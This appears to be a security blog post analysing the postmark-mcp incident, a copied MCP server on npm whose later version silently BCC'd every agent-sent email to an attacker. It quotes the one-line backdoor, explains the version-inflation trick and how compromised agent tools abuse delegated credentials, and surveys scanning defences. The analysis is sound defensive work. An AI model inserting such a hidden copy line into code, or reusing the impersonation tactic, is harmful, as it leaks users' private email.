On this page
The postmark-mcp Attack: MCP Servers Need npm-Level Scrutiny
tl;dr
MCP servers require the same supply chain scrutiny as npm packages. The postmark-mcp attack showed a trojanized registry package can silently exfiltrate emails through authorized API calls without triggering network controls.
In September 2025, an npm package called postmark-mcp appeared on the registry. It looked like Postmark’s official MCP server — same name, same function, same code — except it wasn’t Postmark’s. An unaffiliated publisher named phanpak had copied the legitimate open-source server from GitHub and published it to npm, where Postmark had not yet claimed the name. For two days the package shipped clean versions. Then version 1.0.16 added a single line: Bcc: 'phan@giftshop.club'. Every email an AI agent sent through that server was silently copied to an attacker-controlled inbox. The package racked up roughly 1,643 downloads before npm pulled it on September 25, and Koi Security estimated roughly 300 organizations were affected, each routing 10 to 50 emails per day, for an estimated 3,000 to 15,000 exfiltrated emails per day at peak according to Koi Security’s analysis. This is widely cited as the first publicly documented malicious MCP server found in the wild and was catalogued by MITRE’s ATLAS project according to Enrico Rubboli’s research.
What Happened With the postmark-mcp Package?
The legitimate Postmark MCP server has lived on GitHub since June 2025, but Postmark had not published it to npm. That left the package name unclaimed. The attacker copied the code, published it as postmark-mcp, and pushed 15 clean versions over roughly 48 hours — versions 1.0.0 through 1.0.15 all behaved normally. Then on September 17, version 1.0.16 shipped with one added line on line 231 that inserted the attacker’s email address into the BCC field of every outgoing message. The Tracelet team’s incident analysis shows the timeline: first publication September 15, backdoored version September 17, Koi Security disclosure and npm removal September 25. Postmark confirmed it never published its MCP server on npm before the incident and that its own API and services were unaffected, as Postmark’s own statement makes clear.
The trust-building narrative doesn’t survive the dates. Fifteen versions in two days isn’t patient trust accumulation — it’s version inflation. The ThreatPaper analysis notes this pattern explicitly: the attacker didn’t wait weeks or months; they flooded the registry with clean versions to create an illusion of maturity, then struck. By the time Koi Security found it, the package had accumulated approximately 1,643 total downloads with roughly 1,500 downloads observed in a single week Safeguard’s research found. The emails captured included password resets, invoices, internal memos, and confidential documents — exactly the transactional mail Postmark is built to handle.
Why Did Network Controls Fail to Catch the Exfiltration?
Here’s the part that should keep security teams awake: the attack rode inside the single legitimate POST request to api.postmarkapp.com/email that the user had already authorized. The Attention Span analysis explains that the malicious BCC field was just another parameter in the same encrypted HTTPS request the legitimate server makes. No extra connections, no suspicious domains, no data leaving the approved network path. Postmark’s own IP Allowlisting feature — which rejects API sends from untrusted IP ranges — would have seen only allowed traffic from the user’s own environment to a trusted domain. Network-layer controls are blind to this because the exfiltration doesn’t look like exfiltration; it looks like the job the tool was installed to do.
This is the Delegated Authority Gap in action. MCP servers are handed live credentials — in this case a Postmark API key — and execute actions autonomously without per-call human review. A compromised logging library can only do what your code calls it to do; a compromised MCP server is handed sending rights and uses them on every invocation, often with no code review because it’s configured once in an agent’s settings file and never opened again. The Safeguard team emphasizes this distinction: the blast radius isn’t “code that runs in your process” but “an authenticated action taken on your behalf, repeatedly, by something that will not notice anything is wrong.”
How Does This Compare to Traditional Supply Chain Attacks?
The mechanism is familiar — a trojanized update on a package registry — but the target changes the impact. The ThreatPaper analysis draws a direct line to the Codecov compromise and the keyv compromise: each time, a control answered the question it was designed for (provenance, build integrity) and the attacker moved to a question it does not answer (registry impersonation, post-install behavior). The postmark-mcp incident is referenced as a real-world case under ASI04 (Agentic Supply Chain Vulnerabilities) in the OWASP Top 10 for Agentic Applications 2026 per Zealynx’s research, placing it in the same category as the most critical agentic AI risks.
The industry is repeating npm’s early-2010s trust model with MCP registries, but the blast radius is larger because MCP servers hold live credentials and invoke tools autonomously without per-call human review. “Read the source before you install” is structurally weaker advice for MCP than for ordinary libraries — David Fox’s vetting guide shows that several obvious controls would have done nothing against postmark-mcp: checking the publisher (the account had 30+ other packages), reading the source (the backdoor arrived in v1.0.16 after 15 clean versions), or pinning versions (the attack was in the latest version). The attack surface is the servers you run, the client plumbing that reaches them, and any server you connect to even briefly.
What Security Tools Exist for MCP Server Vetting?
The scanner landscape has fragmented into pattern-based and model-based approaches, each with distinct tradeoffs. Pattern-based detection (Hecate, Cisco’s YARA engine, Proximity without an LLM) is fast, free to run, reproducible, and private — the same input always gives the same result, and nothing leaves your machine. Model-based detection (Snyk Agent Scan, Cisco with LLM engines, Proximity with LLM evaluation) can recognize intent in text it has never seen, but your tool definitions go to a model or service, results can vary between runs, and each scan has a price or needs an API key. Neither approach makes an agent safe on its own because the most damaging attacks — rug pulls after review and prompt injection through content at runtime — are not visible in a one-off scan at all, as Protyoya Datta’s comparison notes.
| Scanner | Detection Method | Tool Definitions Leave Machine | Runtime Guard |
|---|---|---|---|
| Hecate | Deterministic rules | Never | Yes (@hecate-mcp/sdk) |
| Snyk Agent Scan | Local + hosted API | Yes (to Snyk API) | Not in this tool |
| Cisco MCP Scanner | YARA + optional LLM/API | Only with LLM/API engines | Not in this tool |
| Proximity | NOVA rules + LLM eval | Only with LLM evaluation | Not documented |
| WARDEN | Deterministic rules | Never | Not documented |
| mcp-audit | Multiple analyzers | Not documented | Not documented |
| sentinel-scan-cli | Static heuristics | No (manifest scan only) | No |
| MCP Observatory | Security tests + drift detection | Not documented | Not documented |
| mcp-doctor | Install-time trust gate | No (local scan) | No |
WARDEN produced high/critical signals on 460 of 485 MCPTox definitions in one benchmark, while the other four scanners tested produced between 1 and 56 signals at the same threshold according to Alex’s maintainer-run comparison. But lower-severity signals change that picture substantially, especially for mcp-audit. On historical packages, WARDEN also produced thousands of advisory-only signals. The ModelMarket re-run on 14,933 npm and PyPI tool lists in gVisor confirmed WARDEN’s stability: v12 gave exactly the same verdicts as v10 on every set, server for server.
What Should Teams Do Differently Going Forward?
The postmark-mcp incident proves that registry-level trust is insufficient. Teams need a layered approach: static pre-install scans catch known bad code and manifests before deployment, but runtime monitoring catches rug pulls and behavior changes after approval — though it adds latency and complexity to the agent workflow. Auto-installing MCP servers by name delivers capabilities in minutes with no review step, matching how AI coding tools are actually used, but requiring security review before installation slows agent workflows and conflicts with the speed at which developers add servers and skills. The Austa analysis frames this as “npm install for agents” — the same trust model npm shipped with in the early 2010s, at the same vulnerable point in the curve.
Practical steps: pin approved tool definitions in a lockfile and check them in CI (Hecate supports this with pin and check commands). Run a deterministic scanner on every pull request. Add a runtime guard that enforces the pinned definitions at call time. Treat MCP server entries like production service accounts — they run with developer credentials outside agent sandboxes and never appear in lockfiles, as our earlier audit guide details. And recognize that discovery registries cannot be the enforcement layer; security must live at the client allowlist and gateway level, as the discovery catalogs post argues. The postmark-mcp attacker didn’t need a zero-day or stolen credentials — they needed a name collision and two days. The next one won’t need more.
What’s your team’s process for verifying an MCP server before an agent gets its API keys?
Recommended Reading
-
MCP Server with PostgreSQL: The 2026 Security Reality Check
The official Anthropic-maintained PostgreSQL MCP server is deprecated, archived, and has an unpatched SQL injection vulnerability that bypasses its read-only safety mode. Teams connecting AI agents to production PostgreSQL databases should use one of several secure, actively maintained alternatives instead.
-
Best MCP Servers for Developers
With over 10,000 public MCP servers available in 2026, most carry unpatched security flaws and waste tokens with unnecessary tool definitions. This guide explains why development teams should stick to 3 curated, production-ready servers to cut costs and reduce risk. Learn which servers to prioritize for code, knowledge, and verification tasks.
-
Best Open Source MCP Servers
The fast-growing MCP ecosystem lacks official maintained servers, leaving teams to rely on third-party open source options. Overloading on MCP servers burns context window tokens and hurts agent accuracy, while upcoming protocol revisions and past SDK vulnerabilities require careful, minimal server curation.